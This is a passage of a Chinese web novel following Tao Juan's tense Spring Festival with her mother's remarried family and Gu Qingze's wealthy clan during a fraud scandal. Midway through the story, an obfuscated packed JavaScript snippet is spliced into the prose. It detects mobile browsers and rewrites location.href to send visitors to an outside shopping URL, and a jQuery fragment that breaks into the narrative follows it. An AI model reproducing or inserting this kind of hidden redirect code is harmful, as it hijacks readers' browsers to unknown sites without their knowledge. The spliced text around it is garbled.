陶涓是真搞不懂这小朋友,听她说要参加这个项目,他立刻要去报名,不管她怎么劝:这个不是出去玩,会很艰苦,搞不好会好几天都洗不上澡,你又不评优不用这么拼…… 劝不住。 根本劝不住。 出发前,系主任再三嘱咐她看好顾清泽,千万不能让他有什么闪失。 陶涓心里吐槽,怎么看?给我发一副手铐给他戴上?还是一条狗绳给他拴上?那么大的男孩子为什么要我看? 还好从出发时顾清泽就跟小狗似的一直跟在她身边,上了车,同学老师都默认他是她的责任。 不过,也算沾了他的光,补上卧铺票时优先给他们两个。 忘了是在哪里,反正一个站台只有白色水泥牌写着黑色站名的小地方,他一定要下车去走走,陶涓怕他搞出什么事,只得也跟着下来。 站台上的小贩当中有个卖水果的老婆婆,藤篮里的果子他俩从来没见过,像比弹珠大一点的小桃子,金黄色,表面光滑。 顾清泽尝都没尝就问那婆婆,全买了能便宜点吗?然后五十块钱买了两大塑料袋提上车跟同学老师们分。 现在想到这果子陶涓还会反射性眯眼,好像那股酸味又在口腔卷土重来。 她和顾清泽蜷缩在上铺玩□□,谁赢了谁就吃一粒果子。 连赢三把后陶涓含着果子捶打床铺,眼泪差点和口水一起流出来。 混蛋小子幸灾乐祸得嘴角都绷不住了,她这才恍悟,他是故意输的! 接下来玩牌时两人比着故意输,然后互相指责对方耍赖,又研究出许多补充玩法。 终于到了目的地,他们分的这份果子全吃完了。 几天后他们返回北市,回程经过小镇是深夜,站台上当然一个小贩都没有,他还有点失望,陶涓故意打趣他,“怎么?酸果子吃上瘾了?” 他说,其实根本不想吃果子,只是看那个老婆婆很可怜,那么热的天,她只有一顶破的草帽,早点卖完就能回家了。也许能用卖果子的钱买顶新草帽。 陶涓再次朦胧睡去时舌尖似乎还有点酸涩的味道。 这样的小孩,为什么会把她拉黑?为什么不告而别…… 到达滨市时是上午八点,太阳还没升起,站台上零下二十度的冷空气里有种陶涓莫名熟悉的味道。这是她的家乡的味道。 到了出站口,陶涓远远就看到大舅和表姐宋牧谣,曹艺萱是妈妈来接,两家人又彼此寒暄了一会儿,大舅少不了夸曹艺萱又漂亮了,还上了电视,唉哟,真是大明星了。 回到家,舅妈刚从早市回来,买了一堆陶涓爱吃的:炸糕,蛋堡,紫菜包饭,粘豆包,还早早拿出来黑乎乎的两个冻梨放在小碗里搁在暖气片上,“吃了早饭再吃!” 一家四口热热闹闹吃完早饭,大舅和舅妈去开店,陶涓和表姐去超市再做点过年之前最后的采购,明天就除夕了。 超市里人挺多,两人刚到生鲜区,周测打电话问陶涓到没到,挂了电话,宋牧谣问她,“你和周测又好上了?” “没有的事啊!”陶涓不敢告诉表姐她得病住院的事,只跟她说了周测要送她去火车站结果临时放鸽子,“估计是愧疚吧,才想起来问我一句。” 宋牧谣冷笑一声,“周测呀,对人有那么点心思,但不多。也不知道他是才睡醒呢,还是不清楚你车是几点到。唉呀,男人呀,就没一个靠谱的。” “一个都没吗?那大舅呢?” “他?”宋牧谣冷笑得更大声,“他靠谱?他给朋友担保之前跟我妈商量了吗?跟咱俩商量了吗?他但凡透露一句,大家都会觉得这事不能办!人银行都不敢借他钱,你敢去担保他,怎么,你比银行还能耐呗?” 数落完不靠谱的爹,又心疼可怜的妈,“唉……那几年我妈一下子老了多少啊?大几百万啊,普通人一辈子也就挣这么多。要是没你垫上那笔钱,都不知道咱家现在住哪儿……” 她摇了摇头,问:“你和周测分手的事,什么时候跟他们说啊?” “找个机会吧,过完年就说。” 陶涓没法替大舅辩解,后悔和愧疚让他这几年受了很大折磨,前两年过年时只要喝了点酒就哭,说对不起她们姐妹俩。 表姐宋牧谣和前男友本来要结婚了,大舅出事不到一周男孩就提了分手,大舅和舅妈已经够自责了,要是让他们知道她和周测也分手了,那还得了? 这么瞒了几年,幸好周测是心外科医生,逢年过节总心梗病人就会比平时多,有人是喝酒作的,熬夜打麻将作的,还有招呼全家累的,春节时他总是忙得很,不然还真的很难糊弄过去。 姐俩回到家先午饭,又搞了大扫除,贴上春联,挂上装饰,过年的气氛就更浓了。 晚饭前宋靖耘来接陶涓,母女俩依旧客气多于亲热,林家在江对岸的别墅区,路上两人无话可说,陶涓想了想,问:“林溪还打算艺考吗?” 宋靖耘不由笑了,“又换主意了,最近又想留学了,寒假一开始自己报了雅思班。” 林溪今年才上高一,对姐姐崇拜多于亲近,陶涓一进门就把她拉到自己房间,先汇报自己最近一次雅思模考的成绩,又问她对留学有什么建议。 陶涓老老实实说,“除非是国内没有或者国内落后很多的专业,其他专业我都建议你在国内上了本科再考虑要不要去留学深造。” 林溪似懂非懂,“我还没想好学什么专业呢。姐,你是很小就知道自己要学什么吗?” “我也不知道自己要学什么,不过我很小就知道自己对什么感兴趣。” 陶涓跟妹妹讲自己的经历,“上小学的时候偶然看到一个视频,是一头像恐龙的动物的骨架,在海滩上行走,骨架是用竹子和塑料管还有扎线做的……” “我一下就入迷了!先是到处去查那个会自己走的动物骨架是什么,原来它是‘仿生兽’,是一个荷兰的科学家——也可以说是艺术家造出来的,利用风能和动能在沙滩上自动行走,他造出来它们,是为了阻止海岸侵蚀,仿生兽的原词是strandbeest,沙滩动物,它们在沙滩上行走,把沙子重新踢回海滩,只靠风力和动能驱动,骨骼是用竹管做的,用cable tie连结……” “再后来,我想弄清楚它为什么可以自动行走,它 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林家的生意在林爸接手后做得更大了,林溪就算当个败家二世祖也能舒舒服服过完一辈子。 宋靖耘在门外敲了敲门,“吃饭了!” 下楼去饭厅时林溪搂着妈妈的腰,她把下巴搁在妈妈颈窝,一步一步拖着走,她已经比宋靖耘高很多了,可还像个小鹦鹉贴在妈妈身边。 陶涓跟在她们后面,微微失神。 有时很难不羡慕林溪。 吃完饭,又陪着一家人看了会儿电视,陶涓说自己还要回去,因为和美国的同事要线上会议。 林爸让保姆去叫司机,宋靖耘说不用,“我送她。” 母女俩在车上有一搭没一搭说着话,很快到了大舅家楼下。 宋靖耘停下车,有些迟疑地问:“涓涓,你和周测……是不是遇到什么问题了?这几年你很少提起他,怎么了?” 陶涓看着母亲,很想就这么告诉她他们早已分手,正要开口,忽然有人敲了敲车窗,是大舅。 于是这话又没说成。 这天晚上陶涓和表姐像小时候一样睡一起,她们的房间和大学宿舍有点像,两张挨着墙放的上下床,上面是床,下面放书桌和衣柜。 宋牧谣说她有了新男友。 那年分手后,她主动要求调职到青甘油气田。 那里条件艰苦,但每个月加上补助能有快两万块钱,能多赚点钱还能离碎嘴亲戚们远远的,可能也有对她父亲的怨气。 她这新男友家是新疆的,长得比前男友还更帅些,陶涓还以为是少数民族,宋牧谣说不是,“他爸妈都是汉族,内地去的兵团战士……” “你对人家是认真的吗?”陶涓接收表姐发给她的一系列男友靓照,刷刷划过去,“这镜头语言,直白的凝视啊!” “什么认真不认真啊,我只是犯了所有女人都会犯的错误。” 两姐妹一起笑了会儿,宋牧谣说:“你不知道我们那有多大多荒凉,我每天开着车去检查管道设备,整片的地,开上半小时,一个人都看不见。我的车,我的工作服,全是橙色的,为什么?出了事用直升机搜索容易找到。” 言下之意,这种地方不及时行乐熬不下去。 “那你俩商量过以后怎么样吗?” “肯定说过呀!我们这种危险工种,到45岁就能退休了,我可不会一辈子呆在那种几十公里一个鸟都没的地方,咱家水果店还等着我回来继承呢!” 陶涓刚一乐,又听到表姐幽幽说,“他也想回自己的家,陪自己的爸妈。我不勉强他跟我来滨市,他也别期待我跟他去他老家。嗐,今朝有酒今朝醉吧。” 陶涓放下手机,不管照片里紧紧相拥的两个人笑得多甜蜜,都不想为对方做让步。 她想到了周测。 啊,男人。 他们习惯了不为爱情牺牲任何东西。 13.陶涓自己的家 除夕这天一大早舅妈就把姐妹俩叫起来,两人吃了早饭,开车去陶涓的家。 对,陶涓有自己的家。 地质队的家属院一套两居室。从前是陶涓爸妈和她的家。 父亲去世后她和妈妈继续住在那,那时陶涓六岁,两年后,宋靖耘出国进修,从此以后陶涓就一直住在大舅家,每年除夕这天才回家一趟。直到她上中学。 陶涓一进门就知道妈妈前几天来过了。 可能是扫墓那天,家里打扫得很干净,爸爸的遗像也已经拿出来了,放在厨房外的小圆饭桌上。 爸爸去世以后,妈妈选了一张他的照片放在银色的相框里,每年除夕这天拿出来放在桌上,再摆上橘子柿子,水仙花,还有爸爸生前喜欢的巧克力和零食,母女俩会坐在桌前讲讲今年都发生了什么。 说起来有点可笑,无论爸妈还是陶涓,都是坚定的无神论者,可人有时就是需要一点点慰藉。 陶涓初一那年,妈妈再婚了。 林爸却是初婚,林家办了相当隆重的婚礼,十二三岁的陶涓不想参加这个婚礼,但又无法不参加,只好尽量降低自己的存在感。 林家的人都还体面,但陶涓还是听到宾客中有人悄悄议论“二婚啊?怎么女儿都这么大了”。 幸好她的学校在老市区,离大舅家骑自行车就十几分钟路程,她可以名正言顺继续住在大舅家,直到考上大学。 也是从那时起,每年除夕妈妈要和林爸还有林家的人一起过了。 几年后林溪出生,陶涓在病房门口看到林爸和妈妈抱着小婴儿喜极而泣的样子,停在门口很久才出声。 一家三口,美满和睦得像一幅画,而她,是画框外的人。 宋牧瑶拿出瓶白酒放在遗像前,“姑父,这是我爸妈的心意。我和涓涓今年都挺好的,家里所有人都健康。” 陶涓在桌上摆了几个果盘,放上她给爸爸买的稻香村的枣泥糕和松仁枣泥饼,还有最近一年她收集的好吃的巧克力,再摆上两盆水仙花。 花是舅妈提前买的花球,养在紫砂盆里,昨天已经开花了,一盆黄心一盆紫心,花香馥郁清新。 除夕这天晚上陶涓特别忙碌,先要去母亲那里,然后一起去林溪爷爷奶奶家吃晚饭。 林爷爷也就罢了,一向对陶涓客气,就像对待朋友家的孩子,林奶奶也同样客气,不过她每次看到陶涓总忍不住用眼角瞟一眼宋靖耘。 如果宋靖耘没有第一次婚姻,那么她真的是个挑不出毛病的儿媳,相貌没得说,人品端正,是滨市大学的教授,更重要是的儿子真心喜欢辛辛苦苦追求到的,孙女林溪漂亮聪明又乖巧,可是陶涓——她站在那儿就提醒着所有人,她儿子娶的是个二婚的女人。 陶涓心里明镜一般。 维持着礼貌陪着母亲吃完这顿年夜饭,又坐了一会儿才找理由告辞,跟昨天一样,美国的同事要开会。 林爷爷问:“怎么除夕还要工作啊?你们公司真是越来越过分了。” 陶涓微笑着解释:“因为今年这个项目是和春节档的电影宣传有关的,明天就上映了,今天得卖力吆喝!” 老头儿笑了,“行吧,你去忙。小刘,叫司机送涓涓回去。靖耘,明天中午早点带孩子们来。” 陶涓走到别墅门口,听见林溪叫她。 林溪往她手里塞了几块巧克力,“我同学去北海道玩带回来的,你拿给陶爸。” 陶涓摸摸妹妹毛茸茸的后脑勺笑,“好!” 穿过滨市那条大江早已冻上,白雪铺满江面,车子穿过江上大桥时,远处不知什么地方升起巨大的烟花,雪地和天空同时映出各种颜色。 彩光在陶涓脸上不断闪动,她忽然想起放烟花的地方应该是滨江公园,小时候他们一家三口常去,有摩天轮,冬天江面冻上了,可以去玩雪圈、冰车。 绚烂的烟花在窗外不断绽放,无数彩光拖曳着长尾向海中跌坠,海面粼粼波光,海港周围灯火璀璨,游船迤逦,如梦似幻。 顾家老宅饭厅这面近20尺的窗子正对海港,景色无敌。 顾清泽还在出神,手臂被母亲章鹤龄轻轻拍了一下,“大伯在问你话呢。” 他缓缓转过头,父亲和大伯正望着他。 大伯又问了一次:“你四叔有没有跟你说什么重要的话?” 顾清泽说:“我赶到的时候他已经被当地警方控制,居家监视,即使有什么重要的话,恐怕也不方便说。他的律师我也见了,只是要钱,我开了支票给他,但他的意思……像是这次一定要坐牢,至于刑期,他让我们参考马道夫的案子。” 大伯的脸色更不好看了,“这个败家子!他不要牵连到顾家才好。” 他的二儿子在一旁插话,“还要怎么不牵连?顾家的名声全给他搞臭,我坐飞机回雍岛,空姐送的报纸——不管是华文英文马来文,头版报道都是他!说他搞的这个庞氏骗局是澳洲史上最大规模!现在出门说自己姓顾,人家都要多看你两眼!” 三叔一向不怎么管家里的事,只跟老婆在南法开酒庄混日子,这时也要插一句,“老四这次真是疯了!连亲戚都骗!我岳母几个老姐妹的棺材本给他骗走大半,我老婆初三怎么回娘家?” 三婶突然捂脸起身去了露台,她的两个女儿叫着“妈咪”跟出去。 恐怕三婶也投了钱进去,不然不至于要 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这座别墅在与雍港遥遥相望的埠青山上,也能将雍港海景一览无遗,只是不如老宅离得更近。 顾清泽看着窗外远处的港口,盛大的烟花还在一簇接一簇无声绽放,又无声坠入海中。 章鹤龄临睡前拿了杯牛奶去儿子房间,“怎么还不睡?” 他转过身,“我很快就睡。你也早点休息吧。如果明天大伯真的宣布退休,你和爸爸一定要应付记者会。” 章鹤龄冷笑哼一声,“他能体面退休最好,就怕他儿子们和你四叔那些勾当收拾不净首尾,警方最终还是会找上他,到时,可不止开记者会。” 顾清泽只微微一笑,“命里无时莫强求。” 这话没头没尾的,但章鹤龄这时正高兴,只叮嘱儿子,“记得喝牛奶。” “好。我又不是小孩子了。” “在妈妈眼里,你永远是小孩子。”她摸摸儿子的脸颊离开。 顾清泽把牛奶端进浴室,直接倒进台盆。 他在床上躺了很久,看着书桌上台灯那点光亮,用力眨眼,眼皮渐渐沉重。 进入梦境前,他忽然想到陶涓跟他说过,她家乡春节的时候也会放烟花,没有雍岛的烟花晚会那么穷奢极欲地放整整一晚,不过也很好看,在江边一个公园放,江水已经冻上,上面覆盖白雪,雪地上倒映出烟花,是绒面的,其他地方都没有。 不知道她今晚看到烟花了吗? 她身边一定也聚着家人,不过她的家人比他的这些要好很多。 他希望她此时比他快乐。 14.年初一 其实陶涓不喜欢过春节。尤其是大年初一。 自从母亲再婚,每年的大年初一林家都会有午宴,每当这时,她就又回到母亲婚宴那天。尴尬,但要装得毫不尴尬,还要得体应对没有任何血缘关系的亲戚们。 这种尴尬往往在初五那天还要再重复一次,因为林奶奶那天生日。 幸好曹艺萱今天来得早,有她陪伴,陶涓轻松许多。 曹艺萱悄悄提醒她,“常家馨这几天一直套我话,打听你的事,像是知道了什么。待会儿她最好老老实实的,别搞出什么大场面。” 陶涓更觉得厌烦,“随她去吧。” 常家馨也是林奶奶那边的亲戚,和曹艺萱、陶涓差不多年纪,长得没曹艺萱漂亮,学习不如陶涓,偏偏有个总喜欢拿别人家孩子跟她比较的妈。 虽然三人都常年在北市,但陶涓几乎不和她联系。 果然,宴席过半,常家馨的妈忽然用确保所有人都能听见的音量问宋靖耘:“大嫂,你家涓涓新工作找到了吗?” 宋靖耘愣住,她向女儿看了一眼,不软不硬回答,“谢谢你啊,过年这阵子我忙得脚不沾地,你还关心着这些事。” 林奶奶这时已经不满地看儿媳妇。 林爸打圆场,“吃菜吃菜!今天这鱼很好。” 常家馨的爸偷偷拉她妈妈一下。 她瞪丈夫一眼,照着一旁的女儿胳膊上掐一下,咬着牙低声道:“说话呀你!” 常家馨脸蛋通红,也不知是疼的还是窘的,看着自己面前的盘子说:“涓涓姐,现在业内都传开了,你搞砸了项目被方舟开除了,到现在两三个月了也找不到新工作。” 陶涓之前还担心常家馨听说她心肌炎住院了,现在爆的是她失业的过期料,放下筷子笑了,“我现在为太平投资工作。” 一个亲戚忙说:“太平投资?是章公子的公司吧?听说最近几年投资影视赚了好多钱!” “对对,就是那个太平,当初很多人都笑他从房地产撤了,谁知道,人家是有远见!” 几个亲戚说起今天上映的电影大片也是太平投资的,林爸想起前两天陶涓的话,“涓涓就是在给这个电影做什么宣传算法,唉,这个我不太懂。涓涓,你给大家讲讲?” 陶涓简单概括,“就是帮忙规划宣传资金怎么用能起最大效果。” “现在电影宣传资金动不动就上亿,这个电影也是吗?” “差不多吧。” 亲戚们有意缓和气氛,纷纷夸陶涓厉害,林奶奶的脸色这才又好起来。 陶涓看了妈妈一眼,发现她也在观察林奶奶的表情,心里像被锥子猛地扎了一下,粘稠的郁闷漏出来,淤积在胸口变成硬硬的一团。 曹艺萱对常家馨嘻嘻一笑,“你的业内消息是谁给的?也太滞后了!哦,也难怪,高层人才流动的消息传到你这层确实需要点时间。” 她说完,又感叹,“也不怪你,你从小就只知道念书,工作后又只盯着工作,你没看新闻吧?方舟这几年管理混乱,最近美股跌的稀里哗啦的,我不看财经新闻都知道,这时候不跳槽,难道陪着他们沉船?” 常家馨脸都紫了。她妈更是眉毛都要竖起来,偏偏又拿不出什么话反击,气得又抓住女儿胳膊狠狠掐一边,疼得常家馨没忍住叫了一声。 说到股票,亲戚们是有话说的,方舟美股连续大跌,A股哪里可能独善其身?它这一跌,连带着整个板块都跌。 唉,不知道股市春节假期结束后会怎么样。 大家议论了一番股票、基金、年景不好,这段小风波眼看就要糊弄过去,偏偏常家馨她妈又去“关心”陶涓,“涓涓,你和你的医生未婚夫什么时候结婚啊?换了新工作,是不是得签协议,前两年不能要孩子的?” 林爸一听,看向陶涓,随即又笑道:“哎呀,孩子们一年一年长大,我们怎么能不老啊?常华,你看我,今年头发又白了不少吧?” 常家馨爸爸赶紧接台阶,“哥你头发还挺浓密的,你看看我,再过几年得戴假发了!” 这话引起桌上几个中老年男子共鸣,大家正要交流防脱发经验,常家馨突然大声说:“周测去相亲了!除夕前一天晚上!我同事计英彦看到了!就在华苑酒店!” 她说完,气势汹汹盯着陶涓,一副“看你还有什么话说”的得意模样。 林奶奶放下筷子,问儿媳妇:“怎么回事?” 这一刻,陶涓心中的厌烦到达顶峰。她冷脸对常家馨说:“对,我跟周测分手了。你消息又滞后了,我跟他分手很久了!满意了吗?” 她起身离席,再不理会身后的纷纷扰扰。 他们这桌几次起风波,坐在小孩儿那桌主持的林溪一直都看在眼里,赶快跟一个表姐说,“我去看看我姐。” 林溪跟到二楼客厅,在姐姐旁边坐下,搂着她手臂,“分手就分手,下一个更乖!” 陶涓笑了,拍拍妹妹小手,“我自己一个人也能过得很好。” “我信。但是爸妈他们可能不信。”林溪蹭蹭姐姐肩膀,“我猜他们多半要给你安排相亲。” 陶涓心里又一窒。可恶。 本来还想借周测拖个几年。 午宴结束后亲戚们还要打麻将打牌,宋靖耘开车送女儿,“你怎么不早点告诉妈妈?” “周测的事吗?” “所有事。”宋靖耘叹气,“我都不敢问你是不是还瞒着我什么。” 陶涓看着车窗,“事情都解决了过去了,如果真有我解决不了的,我肯定会说的。” 宋靖耘看一眼女儿,沉默一会儿问:“回你大舅那儿还是?” “回我自己家。” 宋靖耘听到“自己家”,心里一酸。 到了家,宋靖耘说:“大宝,去给妈妈倒杯茶。” 陶涓知道,她只是找个理由多留一会儿。 两人坐在沙发上,茶杯冒着白气。 宋靖耘问女儿,“你和周测什么时候分手的?几年了?” 陶涓没想再隐瞒,“三四年了吧?大舅出事那会儿我提出的。” 提到这事宋靖耘又是一阵难受,“你大舅的事你们也瞒了我很久。” 陶涓也不想看自己妈妈这样,“我那儿刚好有一笔闲钱,大舅跟舅妈再凑一凑,钱还上了,再让你跟着操心干什么?” 宋靖耘按按太阳穴,“我们是亲人,亲人之间互相操心是天经地义的。”她重重呼了口气,“我知道,你们是怕我为难……” 怎么能不为难呢?林奶奶从一开始就不满意这个儿媳妇,二婚,有个十几岁的女儿,家世普通,她本人的条件再好又如何?林家的世交中有不少个人条件不比她差的年轻姑娘,怎么儿子偏偏选了她。 林家是有钱,拉大舅一把根本不算什么,但是大舅和舅妈绝不想让妹妹在林家又多一条被挑剔的理由。陶涓也是这么想的。 “你跟周测分手,也是因为大舅的事?” “不是。”陶涓忽然双眼酸涩,她跟妈妈说了自己在加班后太累地铁上睡着坐到终点站那件事,“那时候我就想分手了。” “分得对呀,只是让他搬到离你上班近点的地方都不愿意,唉,还能指望他什么?”宋靖耘为女儿委屈,“你怎么不早点跟妈妈说这些事呢?” 对啊,为什么不告诉她呢? 陶涓一时也说不清,“可能怕你笑话我吧……” “胡话,妈妈怎么会笑话你?” 母亲走后,陶涓按时上线工作。 今天是电影上映第一天,第一波数据反馈回来后需要及时分析。 晚上七点多,全国各地电影场次和观影人数都快速增多,陶涓、Rosy和李唯安连线开了个会,现有的数据反馈和模型模拟的结果很接近,算是初步成功。 会议结束,她煮了几个饺子当晚餐,开着电视当背景音,再玩会儿手机。 周测不久前发来微信,问她这几天过得怎么样,叮嘱她按时吃药。 陶涓想起中午的事心里来气,把手机扔在一边,转念又一想,原本自己还打算劝他去相亲的,人家真去相亲了她怎么能生气呢? 实际上她也不是因为他去相亲而生气。 于是回复了一个小鸟立正敬礼喊“收到”的表情。 不过,回复完总归是觉得自己有点窝囊。 幸好这时曹艺萱发消息来,说她打牌赢了一小注横财,改天一起吃好的,陶涓立即说好咱们去小红房吃苏伯汤。 两人正聊着,林爸忽然打来,陶涓接通,他说:“我在楼下呢。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17186800|196869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林爸进来后,先走到小圆桌前,往桌上放了盒软中华,对陶涓她爸的遗像说:“老陶,不知道你抽什么烟,我也不抽烟,不过他们都说这个好。” 陶涓小声说:“谢谢林爸。”其实她爸爸生前不抽烟。 林爸有些局促,问了几句陶涓工作忙不忙才说明来意,初五那天林奶奶生日,希望陶涓能照旧去参加。 陶涓当然要答应。 走之前林爸带点小心说:“今天中午的事,你别生气……” 陶涓摇头笑了,“我不生气。” 她不会为常家馨生气,最多只是觉得她和她妈为人讨厌。 她是为母亲不平。忍受林奶奶的挑剔,一忍就是十几年。为什么?可能是因为林爸和林溪都是很好很好的。 她自己不也是因为这个才答应要去林奶奶的寿宴吗? 林爸走后没多久,她就收到林溪的密报:奶奶寿宴那天搞了相亲局,刚才家里几个大人密谋了半天怎么重新安排座位。原本陶涓是跟林溪还有几个半大小孩坐一桌,现在,她被调到相亲桌了! “看,我就说他们该给你安排了吧?” 陶涓苦笑,“我妹真是冰雪聪明。” 她很反感相亲,好好的人被贴上标签价码凑在一起,像玩消消乐似的。 从校园相识,相恋六年的人最终都无法凑合,这么按照标签摆在一桌的竟然能谈婚论嫁,真是可怕。 但是家长们不这么想。在他们的观念中,结婚生子才是标准答案,当然,这个结婚生子的对象不仅要门当户对,最好还能为家族带来些额外的红利。 顾清泽和沈博容显然在这一点上有共识。 他只是没想到母亲会在他明确表示过不愿意相亲后还是安排了这么尴尬的局面。 大伯宣布退休之后不仅有记者会,还有小宴会,请的都是顾家在政商两界的盟友。 顾清泽一向讨厌这种场面,打算露个面就走,可母亲挽着沈博容过来,“清泽,你还记得沈家小妹妹吗?你们在英国也见过的,她今年毕业回来了。” 顾清泽只好和沈博容寒暄。 章鹤龄离开后,两个人对视了一眼,默契地换了话题。 先一起抱怨英国的烂天气,大家话里隐含的意思达成一致,彼此都放松了许多。 看到双方母亲还在不远处笑吟吟观察他们,两人只好再抱怨一下寄宿学校食堂一系列可怕的食物,适时地举杯喝点饮料,就能礼貌地完成“聊得很开心”的任务。 “幸好你只忍了五六年就离开英国……”沈博容说完这话忽然意识到她无意间提起的正是顾家的禁忌,赶紧若无其事喝口饮料想要掩饰过去,没想到又被呛到,连连咳嗽。 顾清泽接过她的酒杯放在一旁,递给她餐巾,“你还好吗?” 沈博容狼狈地笑笑,向他身后看了一眼。她母亲也正向他们看来。 宴会结束后,章鹤龄微笑着问儿子,“我看你和容博好像聊得还挺开心的,都聊了什么?” “就聊了些英国的天气和食物。”他停一停,又说,“我说,很可惜,我只在英国念了四五年书。” 章鹤龄脸上的笑容凝固住。 看到母亲脸色一瞬间血色褪尽,他心中升起残忍的快乐,但这些微的快乐一瞬间被自责取代,他突兀地转折,“我和秀钟投了一个电影,前天上映了,我明天要回北市,有些工作要做。” 这是个显而易见的谎言,但章鹤龄没拆穿,勉强笑笑,“也不要全部心思都花在工作上,工作哪有做完的时候?多交点朋友,享受生活……”她顿了顿,仿佛陪着点小心,“你……不喜欢博容那样的女孩子吗?” “不喜欢。” 章鹤龄若有所思,“从前博容的姐姐,你也说不喜欢,唉,你喜欢什么样的女孩子?” 顾清泽垂下眼,没有回答。 车子停在门前碎石道上,顾清泽从容地扶母亲下了车,另一只手插在裤袋里,紧紧攥住手机。 回到自己的书房,他立刻发消息警告章秀钟:不要提陶小姐的任何事。尤其是跟我母亲。 章家这阵子也会宴会不断,他担心母亲会向他打听。 片刻之后,章秀钟先回复:! 然后,他说:放心。我晓得轻重,绝不提一个字。 15.寿宴 顾清泽回到北市第二天,章秀钟也从雍岛回到北市,第一件事就是到半岛酒店看他。 顾家的事圈子里早已传开,顾氏掌舵人易位,顾清泽的父亲顾崇峻从此正式执掌大权,他以为顾清泽会在雍港多留一段时间。 “你怎么这么早就跑回来了?” “家里太热闹,待不下去。” “那你怎么不住你城北的别墅?那又太安静了?” 顾清泽一本正经,“对。” 章秀钟哈哈一声,很认可的语气,“半岛酒店的顶楼套房又热闹又安静,最符合你的标准。”管家告诉他顾清泽在厨房,他以为他在用餐,没想到是在跟着厨师学做饭,还挺认真的。 章秀钟走近一点,“瑶柱粥?怎么想起学煮这个?” 顾清泽按照厨师的指点搅动砂锅里的粥,“闲着也是闲着。” 粥煮好后他给章秀钟盛了一碗,等待评价。 粥的味道居然还不错。 不过,章公子舌头很刁,“米粒有些太碎了,你刚才一定搅动太频繁。” 顾清泽自己也尝过了,确实如此,做粥看起来简单,要做好也不容易。 章秀钟放下调羹:“喂,别这么丧丧的一副怨妇模样,我和几个朋友约好去乐城滑雪,一起去?” 乐城? 顾清泽疑惑:“为什么选那里?” 章秀钟反问:“为什么不选乐城?那里有真正的火山温泉,滑雪的话,雪道也很不错,我去年收购了一个度假村——你知道的,我一直想做国内高端度假旅游,今年去看看做的怎么样。” 乐城。 顾清泽书房里的地球仪上,这个北方城市和滨市之间仅有一个指尖的距离,实际上应该有几百公里。 在地球仪上用手指丈量她所在的地方和他之间的距离曾经是他一项娱乐,地图上那些地名早就印在脑海中。 北市和滨市,差不多两个指尖的距离。 “好,我跟你一起去。” 章秀钟笑了,“太好了!” 顾清泽觉得他的笑容里有种不怀好意,像是要等着看热闹,果然,章秀钟眨眨眼,“离她近了一点,高不高兴?” 顾清泽不自觉地握紧左手,“你可真无聊。” “哈哈!”章秀钟笑,“原本过年是挺无聊的,现在嘛——” 过年有时候挺无聊的。 虽然和亲人们见面是件挺好的事,但真的要看是什么场合。 参加一个并不喜欢你的长辈的寿宴就是非常无聊的,再加上还有相亲任务,无聊中又加了点厌烦。 陶涓打定主意,今天到了那里就只管吃饭。 没想到寿宴开始前宋靖耘专门来接她。 看到女儿选了件鸭蛋青色的毛呢外套,宋靖耘庆幸自己来得及时,她给陶涓一件玫红色马海毛开衫,缀着金色扣子,“穿这个吧,老年人喜欢孩子们穿得鲜艳些。” 陶涓听话地换了毛衣,这颜色不太适合她,显得她脸色更苍白,为了不让母亲再为难,她拧开口红往两腮点了两下用力揉匀,又往唇上涂了点抿开。 宋靖耘满意了,“这样多好看呀,像个二十出头的小姑娘。” 到了酒店大堂,陶涓立刻乐了,林溪穿着一模一样的毛衣露着八颗牙齿跟在林爸旁边迎宾! 趁爸妈跟客人寒暄,林溪悄悄跟姐姐说,“这毛衣是奶奶选的,啧,穿上跟狮子狗似的毛绒绒,我都不敢看自己,看了就觉得身上痒,她还送给咱俩一人一条大珍珠项链——”她比划一下,“每颗珠子都跟鹌鹑蛋那么大,超丑的!也不知道怎么会有这么贵又这么丑的东西。幸好爸爸说戴这个太炫富了,不然?嘿,咱俩今天就跟放大了的芭比娃娃一样,还是粗制滥造的山寨货。” 陶涓用力咬着嘴唇才没笑出声。 过了一会儿林溪又用胳膊肘碰碰她,“我腮帮子都笑疼了。你呢?” 陶涓活动腮帮,“还行。” 终于开席后,陶涓得到片刻安宁,圆桌上十个人,五男五女,全都衣冠楚楚,除她之外的人都在拼命和其中一位男士搭话。 那人名叫楚舰,三十五六岁样子,样貌俊朗,风度翩翩。更重要的是资产雄厚且从没结过婚。女宾们就不用说了,几个男宾也想博得他青眼。 陶涓不由想到《傲慢与偏见》书中第一句话:凡有财产的单身汉,必须需要一位太太。达西先生出场时大约也是眼下这场面。 书成之日距今已有两百年,依旧如此。 楚舰和众人都说了几句话后,倒是对陶涓的行业很感兴趣,两人谈聊了几句才知道他们是校友,但是不同学院,楚舰是学建筑的,而且他毕业出国时陶涓刚入校,所以从没见过。 他还想再同陶涓说什么,话头被另一位女郎接过,刚好此时上了第一道菜,陶涓赶紧闷头夹菜吃,冷眼旁观。 接下来她全程专心吃饭,偶尔礼貌应答几句。 第四道菜上来时,她觉得吃得有点撑,趁着桌上几个人一起跟楚舰说话,溜出宴会厅,在大堂溜达。 酒店大堂一角做了景观,小桥流水,池里有假山,养着金鱼,石头和桥墩上还卧着几只胖圆的鸭鸭,其中一只鸭子与众不同,头顶一团绒毛,像是戴了顶绒线帽。 陶涓见池边立着牌,想看看有没有这鸭子的介绍,却失望地看到上面只是提示宾客不要乱喂这些鸭子。 有人在她身后说:“它是润州凤头白鸭。” 陶涓回头,是楚舰。他微笑,“里面有点闷,我也出来走走。” 他是继父座上宾,她自然要给面子,两人在大堂茶座坐下,楚舰要了两杯陈皮普洱。陶涓心想,这茶刚好消食解腻。 楚舰言谈风趣,和他说话并不让她烦闷,更不会觉得心累。 他似乎确实对她所做的工作感兴趣,和她聊了不少专业上的问题,主要是大数据搜集和宣传投放的,得知她现在为太平效力,他说自己也和太平有些合作,但他并不问她在太平做什么,转而为方舟遗憾,“可惜了,领导层远见不够,方向一错,后面再要转回来就难了。” 